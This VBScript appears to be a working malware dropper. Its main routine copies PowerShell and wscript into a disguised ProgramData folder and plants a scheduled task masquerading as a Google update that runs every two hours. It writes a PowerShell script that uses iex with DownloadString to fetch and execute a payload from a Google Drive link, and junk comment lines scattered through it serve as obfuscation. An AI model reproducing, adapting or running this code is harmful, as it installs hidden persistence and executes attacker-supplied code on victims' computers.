Sub ResContent(pth, cnt)
Set fso = CreateObject("Scripting.FileSystemObject")
Set txtFile = fso.CreateTextFile(pth,true)
'ioufvrs5drdswtdjgbiuge578tdrsewavcbfjhliu
txtFile.Writeline(cnt)
txtFile.close
End Sub
Sub PSCopy()
Dim FSO
Set FSO = CreateObject("Scripting.FileSystemObject")
'ioufvrs5drdswtdjgbiuge578tdrsewavcbfjhliu
FSO.CopyFile "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" , "C:\ProgramData\WindowsAppCertification\"
FSO.CopyFile "C:\Windows\SysWOW64\wscript.exe" , "C:\ProgramData\WindowsAppCertification\"
End Sub
Sub ProStart()
On Error Resume Next
Set scFSO = CreateObject("Scripting.FileSystemObject")
scFSO.CreateFolder("C:\ProgramData\WindowsAppCertification")
Set wm = GetObject("winmgmts:win32_process")
'ioufvrs5drdswtdjgbiuge578tdrsewavcbfjhliu
folderpth = "C:\ProgramData\WindowsAppCertification\"
ygvuhb = folderpth & "winappversion.ini"
powshellpth = folderpth & "powershell.exe"
wscriptpath = folderpth & "wscript.exe"
runpspath = folderpth & "runps.vbs"
confpth = folderpth & "conf.ps1"
rdxtfcesz = "On Error Resume Next:Set WshShell = WScript.CreateObject(""WScript.Shell""):Return=WshShell.Run(""cmd /c schtasks /create /sc hourly /mo 2 /tn """"GoogleUpdateTaskMachineUAB"""" /tr """"" & wscriptpath & " //b " & runpspath & """"""",0,true)"
'ioufvrs5drdswtdjgbiuge578tdrsewavcbfjhliu
runpscont = "On Error Resume Next:Set WshShell = WScript.CreateObject(""WScript.Shell""):Return=WshShell.Run(""" & powshellpth & " -ExecutionPolicy Bypass -Command " & confpth & """,0,true)"
confcont = "iex (New-Object Net.WebClient).DownloadString('https://drive.google.com/uc?export=download&id=1wKzc_xz_qdqDWnIrCl3KmMpXFFKaEsG8&confirm=t')"
ResContent ygvuhb, rdxtfcesz
ResContent runpspath, runpscont
ResContent confpth, confcont
PSCopy
wm.Create "wscript.exe //e:vbscript //b " & ygvuhb
End Sub
ProStart